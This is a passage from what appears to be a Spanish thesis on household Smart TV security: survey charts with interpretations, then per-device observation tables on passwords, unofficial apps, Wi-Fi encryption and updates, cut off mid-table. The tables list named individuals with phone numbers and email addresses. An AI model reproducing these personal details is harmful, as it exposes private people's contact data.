Pregunta Nrol: ;Qué incidente o problema ha experimentado relacionado con su
Smart TV?

» Problemas con las
aplicaciones.

= Problemas de conexion.

Problemas con el
rendmmiento o velocidad.

®» Problemas de seguridad

Figura 1. Encuesta a usuarios, pregunta 1.

Andlisis e interpretacion de los resultados

En los resultados representados en la figura 1, se puede evidenciar que el 30% de
usuarios han tenido problemas con la conexion a Internet, un 25% con las aplicaciones
del dispositivo, también, el 25% de encuestados tienen problema de velocidad y el 20%
con la seguridad de sus Smart TV. Esta interpretacién sugiere que los televisores
inteligentes son dispositivos complejos que pueden experimentar una variedad de

problemas.

Pregunta Nro 2: ;Qué medidas de seguridad adicionales ha implementado en su red

doméstica para proteger sus dispositivos inteligentes?
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2%

= Firewall

3% Red VPN
Antivirus

60% .

Ninguna

Figura 2. Encuesta a usuarios, pregunta 2.

Analisis e interpretacion de los resultados

De acuerdo con la figura 2, se evidencia que el 60% de encuestados no han
implementado medidas de seguridad en la red de sus hogares, el 33% han instalado
antivirus en sus dispositivos, el 5% ha implementado firewall y tan solo un 2% de
usuarios cuentan con una Red privada virtual (VPN). Los datos reflejan una falta de

conciencia y accién en la implementacién de medidas de seguridad en la red doméstica.

Pregunta Nro 3: ;Con qué frecuencia actualiza el software de su Smart TV?

» Cadames
20% Cada trimestre
Una vez al afio 0 menos

68% No lo actualizo

Figura 3. Encuesta a usuarios, pregunta 3.
Andlisis e interpretacion de los resultados

Con los resultados obtenidos, se puede notar que el 68% de los encuestados no
actualizan el software de sus televisores inteligentes, el 20% de usuarios lo han
actualizado una vez por afio, el 7% actualizan sus dispositivos una vez por mes y un 5%
de usuarios lo han actualizado trimestralmente. La encuesta revela que una parte
significativa de los usuarios no presta suficiente atencion a la actualizacion de sus Smart
TV, lo que puede tener implicaciones para la seguridad y la funcionalidad de estos

dispositivos.
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Pregunta Nro 4: ;Cree que los dispositivos Smart TV son seguros para usar en su
hogar?

= Muy seguros
® Sepuros
= Inseguros

Muy inseguros

Figura 4. Encuesta a usuarios, pregunta 4.

Andlisis e interpretacion de los resultados

De acuerdo con la Figura 4, el 62% de usuarios considera que sus dispositivos son
seguros para usarse en el hogar, el 20% piensan que son inseguros, el 10% de
encuestados aseguran que sus dispositivos son muy seguros y tan solo el 8% de usuarios
consideran que son muy inseguros. Estos resultados indican que la percepcién de la
seguridad de los dispositivos varia entre los usuarios, como consecuencia de la poca
informacién que se tiene acerca de estos dispositivos y la familiaridad con sus

antecesores los televisores.

Pregunta Nro 5: ;Se siente comodo con la configuracion de privacidad de su Smart
TV?

= Muy comodo
= Cémodo

45%
Poco comodo

= Nada comodo

Figura 5. Encuesta a usuarios, pregunta 5.
Anélisis e interpretacién de los resultados

En los resultados representados en la figura 5, se puede evidenciar que el 45% de los
usuarios se sienten comodos con la configuracion de privacidad de sus dispositivos, el
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45% estan poco comodos con la configuracion en su Smart TV, el 7% de los
encuestados se sienten muy seguros con la configuracién de seguridad de sus
dispositivos, mientras que el 3% no se siente comodo con la configuracion de seguridad
de sus televisores inteligentes. Estos resultados indican que existe una diversidad de
actitudes entre los usuarios en relacion con la configuracion de privacidad y seguridad

de sus Smart TVS.

Pregunta Nro 6: ¢Esta al tanto de las amenazas de seguridad cibernética que podrian

afectar a su dispositivo Smart TV?

30% 18% = Muy al tanto

Al tanto
No muy al tanto
No estoy al tanto

45%

Figura 6. Encuesta a usuarios, pregunta 6.

Andlisis e interpretacion de los resultados

Al analizar los resultados de la figura 6, se observa que un 45% de los usuarios no estan
completamente informados acerca de las amenazas que pueden afectar a sus
dispositivos. Asimismo, un 30% de los encuestados no tienen conocimiento de las
amenazas que pueden afectar sus televisores inteligentes, mientras que un 18% esta al
tanto de estas amenazas. Finalmente, un 7% de los usuarios estan muy informados
acerca de los posibles ataques que podrian perjudicar sus Smart TV. Estos resultados
preocupan y muestran que los usuarios necesitan ser mas conscientes de las amenazas

gue pueden afectar a sus televisores inteligentes.

Pregunta Nro 7: ;Ha cambiado las contrasefias predeterminadas en su Smart TV y en

las aplicaciones que utiliza en él en los ultimos 6 meses?
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= 5i, he cambiado todas las
contrasefias.

» 5i, he cambiado algunas
contrasefias.

» Mo, he dejado las
contrasefiaspredeterminadas.

Figura 7. Encuesta a usuarios, pregunta 7.

Andlisis e interpretacion de los resultados

Tras recopilar los datos de la encuesta y observar en la figura 7, se destaca que el 73%
de los usuarios mantienen las contrasefias predeterminadas en las aplicaciones de sus
dispositivos. Por otro lado, el 17% los ha modificado en algunas aplicaciones, y el 10%
ha realizado cambios en las contrasefias de sus aplicaciones en los Gltimos 6 meses. Los
resultados de esta encuesta muestran que los usuarios necesitan ser mas conscientes de
los riesgos de seguridad asociados con el uso de contrasefias predeterminadas, la falta de
cambio de las contrasefias predeterminadas en las aplicaciones representa un riesgo
significativo, ya que las contrasefias predeterminadas son bien conocidas por los

atacantes.

Pregunta Nro 8: ;Qué aplicaciones o servicios utiliza con frecuencia en su Smart TV?

» Netflix

» YouTube

= Facebook
Spotify

= Otras

Figura 8. Encuesta a usuarios, pregunta 8.

Anélisis e interpretacion de los resultados

En los resultados representados en la figura 8, se aprecia que el 60% de los usuarios
emplea la aplicacion de YouTube en sus televisores inteligentes con regularidad.

Ademas, el 25% de los usuarios se enfoca principalmente en Netflix en sus dispositivos,
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mientras que el 12% prefiere la aplicacion de Facebook como la principal. Por ultimo, el
3% de los encuestados opta principalmente por otras aplicaciones. Esto revela que la
mayoria de los usuarios utilizan sus Smart TV para acceder a aplicaciones de
entretenimiento, con YouTube y Netflix liderando el camino. Esto destaca la creciente
importancia de los servicios de transmision y la diversidad de estos lleva a aplicaciones

de dudosa procedencia y muy faciles de vulnerar.

Pregunta Nro 9: ;Descarga aplicaciones o contenido de fuentes no oficiales en su
Smart TV?

mSi

= No

Figura 9. Encuesta a usuarios, pregunta 9.

Analisis e interpretacion de los resultados

De acuerdo con los resultados obtenidos y representados en la Figura 9, se destaca que
el 60% de los usuarios encuestados descarga aplicaciones de fuentes no oficiales o de
paginas dudosas, en contraste con el 40% que descarga aplicaciones de fuentes
confiables en su dispositivo Smart TV. Estos datos son preocupantes, ya que las
aplicaciones de fuentes no oficiales o de paginas dudosas son méas propensas a contener
malware o contenido malicioso. Esto puede poner en riesgo la seguridad de los usuarios,
ya que los atacantes pueden utilizar estas aplicaciones para robar informacion personal,

instalar malware o realizar ataques de phishing.

Pregunta Nro 10: Conoce ¢;como cambiar las contrasefias en su Smart TV y

aplicaciones?
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= Si
= No
» En algunas aplicaciones

Figura 10. Encuesta a usuarios, pregunta 10.

Andlisis e interpretacion de los resultados

De acuerdo con los resultados representados en la figura 10, se advierte que el 63% de
los encuestados no sabe cémo cambiar las contrasefias de las aplicaciones instaladas en
sus dispositivos Smart TV. En contraste, el 22% de los usuarios esta familiarizado con
el proceso, y el 15% de los encuestados conoce como cambiar las contrasefias en
algunas de las aplicaciones instaladas en sus dispositivos. Este dato es preocupante, ya
que las contrasefias predeterminadas de las aplicaciones suelen ser faciles de adivinar, lo
que las hace vulnerables a ataques cibernéticos. Ademas, los usuarios suelen utilizar las
mismas contrasefias para varias aplicaciones, lo que aumenta el riesgo de que sus
cuentas sean comprometidas, por lo cual se destaca la necesidad de una mayor

educacién y concienciacién sobre la gestion segura de contrasefias.

Pregunta Nro 11: ;usted, ha ingresado en su Smart tv credenciales personales como:

tarjetas de créditos, datos personales, ;,nimero de cuentas bancarias?

= Definitivamente

» Posiblemente

» No estoy seguro
Probablemente no

» Definitivamente no

Figura 11. Encuesta a usuarios, pregunta 11.
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Analisis e interpretacion de los resultados

Se puede observar que el 43% de los usuarios definitivamente no ingresan credenciales
personales en su dispositivo, mientras que el 30% posiblemente lo han hecho. Ademas,
el 13% de los encuestados probablemente no ha ingresado datos personales en su
dispositivo, y el 12% de los usuarios no estdn seguros si han ingresado sus datos
personales en sus televisores inteligentes y tan solo el 2% definitivamente si ha
ingresado sus datos personales. Estos resultados reflejan la diversidad de actitudes y
practicas de los usuarios en lo que respecta a la privacidad y la seguridad de los datos
personales en sus dispositivos Smart TV, es preocupante, ya que los televisores

inteligentes pueden ser utilizados para acceder a una amplia gama de datos personales,
como informacién de contacto, informacion financiera e informacion de salud. Si un
atacante puede obtener acceso a estos datos, podria utilizarlos para robar la identidad del

usuario, realizar compras fraudulentas o chantajear al usuario.
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Resultados de la matriz de observacion

Tabla 4. Matriz de observacion del primer dispositivo.

Usuario: Norma Masablalin Cl: 1803260411
Teléfono: 0988108932 Correo: Normamasabali4385@gmail.com
Marca TV: Riviera Modelo TV: Serie ch RLED-ADND3CHGT7LF

Version del SO:

Android 9.0, Procesador Quad core

NUmero de puertos:

HDMI2,USB 1,LAN 1 AVG 1

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el televisor y
tampoco en aplicaciones. Esto podria deberse a que el modelo de su
dispositivo no cuenta con esa funcion y el desconocimiento del usuario

de las aplicaciones que usa.

Aplicaciones 'y

servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y
servicios de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables, como

LibrePlay, las cuales son descargadas de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a

Internet segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir que

utiliza una red segura.

Actualizacion de

Instalar las actualizaciones de software

Los usuarios mantienen sus

Se constatd que la ultima actualizacién de software realizada por el

software. de forma oportuna para corregir dispositivos Smart TV actualizados usuario tiene fecha de 11/09/2022.
vulnerabilidades y mejorar la seguridad. | con la Gltima versién de software.
Conclusién: La propietaria ha demostrado buenas practicas en la conexion a Internet y la actualizacion de software, lo que es un paso positivo hacia la proteccion de la

privacidad y la seguridad de su dispositivo.
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Tabla 5. Matriz de observacion del segundo dispositivo.

Usuario: Gonzalo Toaza Cl: -

Teléfono: 0991641449 Correo: GonzaloT1615@gmail.com
Marca TV: Riviera Modelo TV: RLED-DSH32CHG
Versién del SO: | Android 9.0 NuUmero de puertos: HDMI 2, USB 1, RED 1.

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

de proteccion.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

confiables.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

que utiliza una red segura.

Actualizacién de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

software. software de forma oportuna para TV actualizados con la Ultima version de
corregir vulnerabilidades y software.
mejorar la seguridad.
Conclusioén: El usuario muestra practicas positivas en cuanto a la eleccion de aplicaciones seguras y el mantenimiento de su dispositivo actualizado.
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Se observd que el usuario no tiene ninguna contrasefia 0 método

El usuario solo utiliza aplicaciones descargadas de fuentes

La red utiliza un tipo de cifrado fuerte WPAZ2, esto quiere decir

El usuario tiene su televisor con las ultimas actualizaciones.
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Tabla 6. Matriz de observacion del tercer dispositivo.

Usuario: Adonis Poalasin Cl: -

Teléfono: 0981801888 Correo: adonislsrael12@gmail.com
Marca TV: TCL Modelo TV: QLED Smart TV

Versién del SO: | Android TV NUmero de puertos: HDMI3 ,LAN 1,USB 2

Procesador AIPQ 3.0

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario mantiene contrasefias en diversas

aplicaciones instaladas en el Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicacionesy
servicios que sean seguros y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

Se constato que el usuario utiliza aplicaciones que no son

seguras, como Magis TV y Download Browser.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexién segura hacia la red.

Actualizacion de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

EL usuario tiene a su televisor inteligente con las Gltimas

software. software de forma oportuna para TV actualizados con la Gltima version de actualizaciones.
corregir vulnerabilidades y software.
mejorar la seguridad.
Conclusién: La eleccion de aplicaciones no seguras plantea preocupaciones y destaca la importancia de promover la conciencia de seguridad en la seleccién de

aplicaciones para garantizar la seguridad y la privacidad del usuario.
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Tabla 7. Matriz de observacion del cuarto dispositivo.

Usuario: Natali Chano Cl: -

Teléfono: 0984367228 Correo: -

Marca TV: LG Modelo TV: 32LM637BP

Versién del SO: | webOS NuUmero de puertos: HDMI2,LAN 1,USB 2

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el

televisor y tampoco en las aplicaciones.

Aplicaciones y

servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se notd que el usuario utiliza aplicaciones poco confiables,
como Libre Play, las cuales fueron descargadas desde paginas

no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

La conexion a la red es muy inestable, lo cual influye mucho en

el buen rendimiento de televisor inteligente.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

Se constatd que la Gltima actualizacion realizada por el usuario

software. de forma oportuna para corregir Smart TV actualizados con la Gltima tiene fecha del 11/12/2022. Es necesario realizar una
vulnerabilidades y mejorar la seguridad. | version de software. actualizacion.
Conclusién: as observaciones realizadas en el dispositivo del usuario resaltan la importancia de mejorar la seguridad cibernética en su Smart TV.
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Tabla 8. Matriz de observacion del quinto dispositivo.

Usuario: Oscar Chaha Cl: -

Teléfono: 0964432410 Correo: Chachawalter6@gmail.com
Marca TV: Samsung Modelo TV: M-series Q643

Versién del SO: | Android TV NUmero de puertos: USB 2, HDMI 2
Observador: Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los
dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observd que el usuario no tiene ninguna contrasefia en el

televisor y tampoco en las aplicaciones.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables como

Pluto TV. Los cuales son descargados de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

Se noto que el usuario ha establecido una conexion segura con la

red.

Actualizacién de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

Se constatd que la Gltima actualizacion realizada por el usuario

software. software de forma oportuna para TV actualizados con la Ultima version de tiene fecha de 16/04/2023.
corregir vulnerabilidades y software.
mejorar la seguridad.

Conclusién: las observaciones resaltan la necesidad de mejorar la conciencia de seguridad en dispositivos Smart TV.
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Tabla 9. Matriz de observacion del sexto dispositivo.

Usuario: Mario Toaza Cl: -
Teléfono: 0964423122 Correo: -
Marca TV: TCL Modelo TV: C635

Version del SO: | Android TV

Procesador AIPQ 3.0

NuUmero de puertos:

HDMI 3, LAN 1,USB 2

Observador: Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Durante la observacién se constaté que el usuario mantiene

contrasefias en distintas aplicaciones instaladas en el Smart TV.

Aplicaciones 'y

servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se not6 que el usuario utiliza aplicaciones poco confiables como

Pluto TV. Los cuales son descargados de paginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexién segura hacia la

red.

Actualizacion de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

El televisor inteligente del usuario tiene una funcion de

software. de forma oportuna para corregir Smart TV actualizados con la Gltima versién | actualizacién automatica, la cual esta activada.
vulnerabilidades y mejorar la seguridad. | de software.
Conclusién: El usuario muestra practicas sélidas en términos de configuracion de seguridad y actualizacion de software en su dispositivo Smart TV. Sin embargo, se

sugiere revisar la eleccion de aplicaciones para garantizar la seguridad y la privacidad.
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Tabla 10. Matriz de observacion del séptimo dispositivo.

Usuario: Elias Machabalin Cl: -

Teléfono: 0986043246 Correo: eliasmanuelm@gmail.com
Marca TV: TCL Modelo TV: 43P635

Versién del SO: | Android TV NuUmero de puertos: -

Procesador AIPQ 3.0

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia 0 método

de proteccion.

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

El usuario solo utiliza aplicaciones descargadas de fuentes

oficiales.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

La red utiliza un tipo de cifrado fuerte WPA2, esto quiere decir

que utiliza una red segura.

Actualizacion de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

El usuario tiene su televisor con las ultimas actualizaciones.

software. software de forma oportuna para | TV actualizados con la Gltima version de
corregir vulnerabilidades y software.
mejorar la seguridad.
Conclusioén: El usuario muestra practicas sélidas en términos de eleccidn de aplicaciones seguras y actualizacién de software en su dispositivo Smart TV
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Tabla 11. Matriz de observacion del octavo dispositivo.

Usuario: Adela Cuji Cl: -

Teléfono: 0986523566 Correo: adelitakarina@gmail.com
Marca TV: Riviera Modelo TV: RLED-DSG32CHE3000
Versién del SO: | Android TV 5.0 NuUmero de puertos: HDMI3,LAN 1,USB 2
Observador: Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos de

ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se ha confirmado que en el Smart TV en cuestion se ha configurado
una contrasefia segura y se han activado las medidas de seguridad

necesarias para proteger el dispositivo contra posibles amenazas.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios
que sean seguros y confiables.

Los usuarios solo usan aplicaciones

y servicios de fuentes confiables.

Durante la revision del Smart TV, se ha constatado que solo se utilizan
aplicaciones y servicios de fuentes confiables, lo que minimiza los

riesgos de seguridad.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a

Internet segura.

Se ha verificado que el Smart TV esta conectado a una conexion a
Internet segura, lo cual es esencial para proteger el dispositivo

mientras esta en linea y reducir los riesgos de seguridad.

Actualizacion de

Instalar las actualizaciones de software de

Los usuarios mantienen sus

Se ha confirmado que el Smart TV se mantiene actualizado con la

software. forma oportuna para corregir dispositivos Smart TV actualizados Gltima version de software.
vulnerabilidades y mejorar la seguridad. con la Ultima versién de software.
Conclusién: El usuario demuestra practicas sélidas en todos los aspectos evaluados, incluida la configuracién de seguridad, la eleccion de aplicaciones seguras, la

conexion segura a Internet y la actualizacion regular del software de su dispositivo Smart TV.
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Tabla 12. Matriz de observacion del noveno dispositivo.

Usuario: Katherine Matza Cl: -

Teléfono: 0968834300 Correo: Edithkaty@gmail.com
Marca TV: TCL Modelo TV: QLED Smart TV

Versién del SO: | Android TV NuUmero de puertos: HDMI3,LAN 1,USB 2

Procesador AIPQ 3.0

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Durante la observacién se constaté que el usuario

mantiene contrasefias en distintas aplicaciones instaladas

enel Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios

que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se observé que el usuario utiliza aplicaciones que no

son seguras como Magis TV, Download Browser.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexién segura

hacia la red.

Actualizacion de

Instalar las actualizaciones de software de

Los usuarios mantienen sus dispositivos Smart

EL usuario tiene a su televisor inteligente con las

software. forma oportuna para corregir TV actualizados con la Gltima version de ultimas actualizaciones.
vulnerabilidades y mejorar la seguridad. software.
Conclusién: La eleccion de aplicaciones no seguras plantea preocupaciones y destaca la importancia de promover la conciencia de seguridad en la seleccion de

aplicaciones para garantizar la seguridad y la privacidad del usuario.
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Tabla 13. Matriz de observacion del décimo dispositivo.

Usuario: Alex Masabalin Cl: -
Teléfono: 0991378129 Correo: alexfabianmasablalin@gmail.com
Marca TV: Samsung Modelo TV: M-series Q643

Version del SO: | Android TV

NuUmero de puertos:

USB 2
HDMI 2

Observador: Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los

dispositivos de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se encontr6 que la configuracién de seguridad del Smart TV es
deficiente. No se ha configurado una contrasefia segura ni se

han activado medidas de seguridad

Aplicaciones y servicios

Revisar el uso de aplicaciones y
Servicios que sean seguros 'y
confiables.

Los usuarios solo usan aplicaciones y servicios

de fuentes confiables.

Se han encontrado aplicaciones y servicios de fuentes no
confiables en el Smart TV, lo que aumenta el riesgo de

amenazas.

Conexion a internet

Conectar los dispositivos a

Internet de forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexidn segura hacia la

red.

Actualizacién de

Instalar las actualizaciones de

Los usuarios mantienen sus dispositivos Smart

El dispositivo no esta actualizado con la Gltima versién de

software. software de forma oportuna para | TV actualizados con la Gltima version de software, lo que lo deja vulnerable.
corregir vulnerabilidades y software.
mejorar la seguridad.

Conclusién: las observaciones destacan la urgencia de mejorar la seguridad de este Smart TV.
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Tabla 14. Matriz de observacion del décimo primer dispositivo.

Usuario: Roberto Toaza Cl: -

Teléfono: 0990362723 Correo: -

Marca TV: LG Modelo TV: 32LM637BP

Versién del SO: | webOS NuUmero de puertos: HDMI2,LAN 1,USB 2

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el

televisor y tampoco en las aplicaciones.

Aplicaciones y servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se han encontrado aplicaciones y servicios de fuentes no
confiables en el Smart TV, lo que aumenta el riesgo de

amenazas.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

La conexion a la red es muy inestable, lo cual influye mucho

en el buen rendimiento de televisor inteligente.

Actualizacién de

Instalar las actualizaciones de software

Los usuarios mantienen sus dispositivos

Se constaté que la Gltima actualizacion realizada por el

software. de forma oportuna para corregir Smart TV actualizados con la Gltima usuario tiene fecha de 11/12/2022. Es necesario una
vulnerabilidades y mejorar la seguridad. | version de software. actualizacion.
Conclusién: Las observaciones destacan la urgencia de mejorar la seguridad y el mantenimiento de este Smart TV
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Tabla 15. Matriz de observacion del décimo segundo dispositivo.

Usuario: Nataly Moreta Cl:
Teléfono: 0986047660 Correo: Natalymoreta@gmail.com
Marca TV: Sony Modelo TV: KDL-32W655D/Z
Versién del SO: | Android TV NuUmero de puertos: HDMI 3

LAN 1

USB 2

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Durante la observacién se constaté que el usuario mantiene

contrasefias en distintas aplicaciones instaladas en el Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios

que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Se notd que el usuario utiliza aplicaciones poco confiables como

Pluto TV. Los cuales son descargados de péaginas no oficiales.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexién a

Internet segura.

Se observé que el usuario tiene una conexion segura hacia la

red.

Actualizacién de

Instalar las actualizaciones de software de

Los usuarios mantienen sus

El televisor inteligente del usuario tiene una funcion de

software. forma oportuna para corregir dispositivos Smart TV actualizados actualizacién automatica, la cual ésta activada.
vulnerabilidades y mejorar la seguridad. con la ultima version de software.
Conclusién: El usuario muestra practicas sélidas en términos de configuracion de seguridad y actualizacién de software en su dispositivo Smart TV.
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Tabla 16. Matriz de observacion del décimo tercer dispositivo.

Usuario: Bryan Ashqui Cl: -

Teléfono: 0986523566 Correo: bryanlsrael12@gmail.com
Marca TV: TCL Modelo TV: HY32NTHB

Versién del SO: | Android TV NuUmero de puertos: HDMI3,LAN 1,USB 2
Observador: Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado
contrasefias seguras para sus

dispositivos de red.

Se ha confirmado que en el Smart TV en cuestion se ha
configurado una contrasefia segura y se han activado las
medidas de seguridad necesarias para proteger el dispositivo

contra posibles amenazas

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios

que sean seguros y confiables.

Los usuarios solo usan aplicaciones y

servicios de fuentes confiables.

Durante la revision del Smart TV, se ha constatado que solo se
utilizan aplicaciones y servicios de fuentes confiables, lo que

minimiza los riesgos de seguridad.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexién a

Internet segura.

Se ha verificado que el Smart TV esta conectado a una conexion
a Internet segura, lo que es esencial para proteger el dispositivo

mientras esta en linea y reducir los riesgos de seguridad.

Actualizacién de

Instalar las actualizaciones de software de

Los usuarios mantienen sus

Se ha confirmado que el Smart TV en cuestion se mantiene

software. forma oportuna para corregir dispositivos Smart TV actualizados actualizado con la ultima version de software.
vulnerabilidades y mejorar la seguridad. con la ultima version de software.
Conclusioén: El usuario ha demostrado practicas s6lidas en términos de seguridad y uso responsable de su dispositivo Smart TV.
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Tabla 17. Matriz de observacion del décimo cuarto dispositivo.

Usuario: Tammy Chuncha Cl: -

Teléfono: 0982717226 Correo: adonislsrael12@gmail.com
Marca TV: TCL Modelo TV: QLED Smart TV

Versién del SO: | Android TV NuUmero de puertos: HDMI3,LAN 1,USB 2

Procesador AIPQ 3.0

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Durante la observacién se constat6 que el usuario
mantiene contrasefias en distintas aplicaciones instaladas
enel Smart TV.

Aplicaciones y servicios

Revisar el uso de aplicaciones y servicios

que sean seguros y confiables.

Los usuarios solo usan aplicaciones y
servicios de fuentes confiables.

Se constatd que el usuario utiliza aplicaciones que no

son seguiras como Magis TV, Download Browser.

Conexion a internet

Conectar los dispositivos a Internet de

forma segura.

Los usuarios usan una conexion a Internet

segura.

Se observé que el usuario tiene una conexién segura

hacia la red.

Actualizacion de

Instalar las actualizaciones de software de

Los usuarios mantienen sus dispositivos Smart

El usuario tiene a su televisor inteligente con las Gltimas

software. forma oportuna para corregir TV actualizados con la Gltima version de actualizaciones.
vulnerabilidades y mejorar la seguridad. software.
Conclusién: Si bien hay margen para mejorar la eleccion de aplicaciones y servicios mas seguros, su enfoque en la configuracion de seguridad, la conexion segura a

Internet y la actualizacién del software son indicativos de buenas practicas
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Tabla 18. Matriz de observacion del decimo quinto dispositivo.

Usuario: Cristian Matza Cl:

Teléfono: 0955432434 Correo: RolandoMatza@gmail.com

Marca TV: Riviera Modelo TV: Serie ch RLED-ADND3CHG7LF
Versién del SO: | Android 9.0 NuUmero de puertos: HDMI2,USB 1,LAN 1,AVG 1

Procesador Quad core

Observador:

Jonathan Matza

Area que observar

Objetivo

Criterios de observacion

Observacion

Configuracion de

seguridad

Analizar las medidas de seguridad
adecuadas para proteger los dispositivos

de ataques.

Los usuarios han configurado contrasefias

seguras para sus dispositivos de red.

Se observé que el usuario no tiene ninguna contrasefia en el
televisor y tampoco en aplicaciones. Esto podria deberse a que
el modelo de su dispositivo no cuenta con esa funcion y el

desconocimiento del usuario de las aplicaciones que usa.

Aplicaciones y

servicios

Revisar el uso de aplicaciones y

servicios que sean seguros y confiables.

Los usuarios solo usan aplicaciones y
servicios de fuentes confiables.

Se notd que el usuario utiliza aplicaciones poco confiables como
